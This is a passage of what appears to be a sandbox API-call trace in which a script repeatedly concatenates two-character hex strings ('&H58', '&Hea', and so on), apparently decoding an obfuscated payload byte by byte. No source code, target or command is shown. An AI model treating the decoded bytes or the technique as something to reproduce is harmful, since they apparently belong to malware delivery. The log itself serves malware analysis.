pbstrResult=0x197ab8) returned 0x0 [0112.547] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.547] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.547] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.547] VarBstrCat (in: bstrLeft="&H", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.548] VarBstrCat (in: bstrLeft="&H5", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.548] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.548] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.548] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.548] VarBstrCat (in: bstrLeft="&H", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.548] VarBstrCat (in: bstrLeft="&He", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.548] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.548] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.548] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.548] VarBstrCat (in: bstrLeft="&H", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.548] VarBstrCat (in: bstrLeft="&Hd", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.549] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.549] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.549] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.549] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.549] VarBstrCat (in: bstrLeft="&Hf", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.549] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.549] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.549] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.549] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.549] VarBstrCat (in: bstrLeft="&H7", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.549] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.550] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.550] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.550] VarBstrCat (in: bstrLeft="&H", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.550] VarBstrCat (in: bstrLeft="&H8", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.550] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.550] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.550] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.550] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.550] VarBstrCat (in: bstrLeft="&Ha", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.550] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.551] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.551] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.551] VarBstrCat (in: bstrLeft="&H", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.551] VarBstrCat (in: bstrLeft="&H9", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.551] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.551] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.551] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.551] VarBstrCat (in: bstrLeft="&H", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.551] VarBstrCat (in: bstrLeft="&H0", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.551] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.552] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.552] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.552] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.552] VarBstrCat (in: bstrLeft="&Ha", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.552] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.552] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.552] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.552] VarBstrCat (in: bstrLeft="&H", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.552] VarBstrCat (in: bstrLeft="&H2", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.552] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.553] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.553] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.553] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.553] VarBstrCat (in: bstrLeft="&Ha", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.553] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.553] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.553] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.553] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.553] VarBstrCat (in: bstrLeft="&Ha", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.553] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.553] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.554] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.554] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.554] VarBstrCat (in: bstrLeft="&Hf", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.554] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.554] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.554] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.554] VarBstrCat (in: bstrLeft="&H", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.554] VarBstrCat (in: bstrLeft="&H9", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.554] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.554] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.555] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.555] VarBstrCat (in: bstrLeft="&H", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.555] VarBstrCat (in: bstrLeft="&Hd", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.555] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.555] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.555] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.555] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.555] VarBstrCat (in: bstrLeft="&Ha", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.555] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.555] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.555] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.556] VarBstrCat (in: bstrLeft="&H", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.556] VarBstrCat (in: bstrLeft="&Hb", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.556] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.556] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.556] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.556] VarBstrCat (in: bstrLeft="&H", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.556] VarBstrCat (in: bstrLeft="&H0", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.556] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.556] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.556] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.556] VarBstrCat (in: bstrLeft="&H", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.557] VarBstrCat (in: bstrLeft="&He", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.557] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.557] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.557] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.557] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.557] VarBstrCat (in: bstrLeft="&H7", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.557] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.557] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.557] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.557] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.557] VarBstrCat (in: bstrLeft="&Ha", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.558] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.558] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.558] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.558] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.558] VarBstrCat (in: bstrLeft="&H7", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.558] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.558] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.558] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.558] VarBstrCat (in: bstrLeft="&H", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.558] VarBstrCat (in: bstrLeft="&Hd", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.558] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.559] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.559] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.559] VarBstrCat (in: bstrLeft="&H", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.559] VarBstrCat (in: bstrLeft="&H2", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.559] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.559] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.559] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.559] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.559] VarBstrCat (in: bstrLeft="&H6", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.559] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.560] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.560] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.560] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.560] VarBstrCat (in: bstrLeft="&H3", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.560] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.560] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.560] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.607] VarBstrCat (in: bstrLeft="&H", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.607] VarBstrCat (in: bstrLeft="&H4", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.608] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.608] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.608] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.608] VarBstrCat (in: bstrLeft="&H", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.608] VarBstrCat (in: bstrLeft="&H8", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.608] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.608] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.608] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.608] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.608] VarBstrCat (in: bstrLeft="&H6", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.608] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.609] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.609] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.609] VarBstrCat (in: bstrLeft="&H", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.609] VarBstrCat (in: bstrLeft="&He", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.609] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.609] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.609] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.609] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.609] VarBstrCat (in: bstrLeft="&H3", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.609] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.609] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.609] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.609] VarBstrCat (in: bstrLeft="&H", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.610] VarBstrCat (in: bstrLeft="&H9", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.610] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.610] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.610] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.610] VarBstrCat (in: bstrLeft="&H", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.610] VarBstrCat (in: bstrLeft="&H4", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.610] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.610] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.610] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.610] VarBstrCat (in: bstrLeft="&H", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.610] VarBstrCat (in: bstrLeft="&H4", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.611] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.611] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.611] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.611] VarBstrCat (in: bstrLeft="&H", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.611] VarBstrCat (in: bstrLeft="&H5", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.611] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.611] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.611] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.611] VarBstrCat (in: bstrLeft="&H", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.611] VarBstrCat (in: bstrLeft="&H2", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.611] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.612] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.612] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.612] VarBstrCat (in: bstrLeft="&H", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.612] VarBstrCat (in: bstrLeft="&H1", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.612] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.612] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.612] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.612] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.612] VarBstrCat (in: bstrLeft="&H3", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.612] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.613] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.613] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.613] VarBstrCat (in: bstrLeft="&H", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.613] VarBstrCat (in: bstrLeft="&Hb", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.613] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.613] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.613] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0112.613] VarBstrCat (in: bstrLeft="&H", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.613] VarBstrCat (in: bstrLeft="&Hd", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0112.613] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0112.614] VarAdd 